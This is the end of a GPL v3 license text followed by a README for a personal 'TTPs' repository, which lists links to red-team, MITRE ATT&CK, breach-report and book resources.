of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # TTPs 2 | 3 | Tactics, Techniques, and Procedures (aka. my notes) 4 | 5 | [![License](https://img.shields.io/badge/license-GPL3-lightgrey.svg)](https://www.gnu.org/licenses/gpl-3.0.en.html) [![Twitter](https://img.shields.io/badge/twitter-sneakerhax-38A1F3?logo=twitter)](https://twitter.com/sneakerhax) 6 | 7 | ## Red Team Resources 8 | 9 | Resources to define, understand the execution, and goals of Red Teaming. These resources have an emphasis on Enterprise Red Teaming in the cloud 10 | 11 | ## General 12 | 13 | * [Red Team](https://en.wikipedia.org/wiki/Red_team) - Wikipedia 14 | * [Hacking Google | Red Team](https://www.youtube.com/watch?v=TusQWn2TQxQ) - Google 15 | * [Red teaming 101: What is red teaming?](https://www.ibm.com/blog/red-teaming-101-what-is-red-teaming/) - Evan Anderson (IBM) 16 | * [Meta Tech Podcast - Offensive Security at Meta's Red Team X](https://insidefacebookmobile.libsyn.com/53-offensive-security-at-metas-red-team-x) - Meta 17 | 18 | ## TTP 19 | 20 | * [Mitre Att&ck](https://attack.mitre.org) - Mitre 21 | * [NIST Glossary - Tactics, Techniques, and Procuedures](https://csrc.nist.gov/glossary/term/tactics_techniques_and_procedures) - NIST 22 | * [NIST Glossary - Tactic, Technique, and Procedure](https://csrc.nist.gov/glossary/term/tactic_technique_procedure) - NIST 23 | * [What’s in a name? TTPs in Info Sec](https://posts.specterops.io/whats-in-a-name-ttps-in-info-sec-14f24480ddcc) - Robby Winchester 24 | * [Red Team Guide - RED TEAM TRADECRAFT AND TTP GUIDANCE](https://redteam.guide/docs/Planning/red-team-tradecraft/) - Joe Vest and James Tubberville 25 | 26 | ## Execution 27 | * [Red Teaming: Using Cutting-Edge Threat Simulation to Harden the Microsoft Enterprise Cloud](https://azure.microsoft.com/en-us/blog/red-teaming-using-cutting-edge-threat-simulation-to-harden-the-microsoft-enterprise-cloud/) - Scott Field 28 | * [GitLab - Red Team](https://about.gitlab.com/handbook/engineering/security/threat-management/red-team/) - Chris Moberly (Gitlab) 29 | * [Red Team Operations with Cobalt Strike (2019)](https://www.youtube.com/watch?v=q7VQeK533zI&list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no) - Raphael Mudge 30 | * [Cobalt Strike Blog](https://www.cobaltstrike.com/blog/) - Raphael Mudge 31 | * [Dirty Red Team Tricks](https://www.youtube.com/watch?v=oclbbqvawQg) - Raphael Mudge and Rob Fuller 32 | * [Dirty Red Team Tricks 2.0](https://www.youtube.com/watch?v=6kKoJW5xvhg) - Raphael Mudge 33 | * [Force Multipliers for Red Team Operations](https://www.youtube.com/watch?v=G-JaHWaLmgc) - Raphael Mudge 34 | * [Flying a Cylon Raider](https://www.youtube.com/watch?v=26PedM_-zRo) - Raphael Mudge 35 | * [In Memory Evasion (2018)](https://www.youtube.com/watch?v=lz2ARbZ_5tE&list=PL9HO6M_MU2nc5Q31qd2CwpZ8J4KFMhgnK&ab_channel=RaphaelMudge) - Raphael Mudge 36 | * [Red Teaming Back and Forth 5ever](https://www.youtube.com/watch?v=FTiBwFJQg64) - Fuzzynop 37 | * [Bridging the gap - Lesson in adversarial tradecraft](https://www.youtube.com/watch?v=xHkRhRo3l8o) - harmj0y & enigma0x3 38 | * [Tradecraft Security Weekly](https://www.youtube.com/playlist?list=PLlPkFwQHxYE7Yi5jtcSyCCr8pXxP1OEkZ) - Security Weekly 39 | * [Red Team Infrastructure Wiki](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki) - bluescreenofjeff 40 | * [Red Teaming Experiments](https://www.ired.team/) - spottheplanet 41 | * [Assumed Breach: The Evolution of Offensive Security Testing](https://trustedsec.com/blog/assumed-breach-the-evolution-of-offensive-security-testing) - Jason Lang (TrustedSec) 42 | 43 | ## Breaches & Incidents 44 | * [Cost of a Data Breach Report](https://www.ibm.com/security/data-breach) - IBM 45 | * [Data Breach Investigation Report](https://www.verizon.com/business/resources/reports/dbir/) - Verizon 46 | * [What is the cost of a data breach?](https://www.csoonline.com/article/3434601/what-is-the-cost-of-a-data-breach.html) - Michael Hill (CSO online) 47 | * [89 Must-Know Data Breach Statistics 2022](https://www.varonis.com/blog/data-breach-statistics) - Rob Sobers (Varonis) 48 | * [Annual Data Breaches US 2005 - Current](https://www.statista.com/statistics/273550/data-breaches-recorded-in-the-united-states-by-number-of-breaches-and-records-exposed/) - Statista Research Department 49 | * [CYBERSECURITY INCIDENT TRACKER](https://www.board-cybersecurity.com/incidents/tracker/) - Board CyberSecurity 50 | * [SEC FORM 8-K](https://www.sec.gov/answers/form8k.htm) - U.S. Securities and Exchange Commission 51 | * [Significant Cyber Incidents](https://www.csis.org/programs/strategic-technologies-program/significant-cyber-incidents) - CSIS 52 | * [Awesome Annual Security Reports](https://github.com/jacobdjwilson/awesome-annual-security-reports) - Jacob Wilson 53 | 54 | ## Books 55 | * [Red Team Development and Operations: A practical guide](https://www.amazon.com/Red-Team-Development-Operations-practical/dp/B083XVG633) - Joe Vest and James Tubberville 56 | * [Red Team: How to Succeed by Thinking Like the Enemy](https://www.amazon.com/Red-Team-Succeed-Thinking-Enemy/dp/0465048943) - Micah Zenko 57 | * [Red Teaming - How Your Business Can Conquer the Competition by Challenging Everything](https://www.amazon.com/Red-Teaming/dp/1524759988) - Bryce G. Hoffman 58 | 59 | 60 | 61 | --------------------------------------------------------------------------------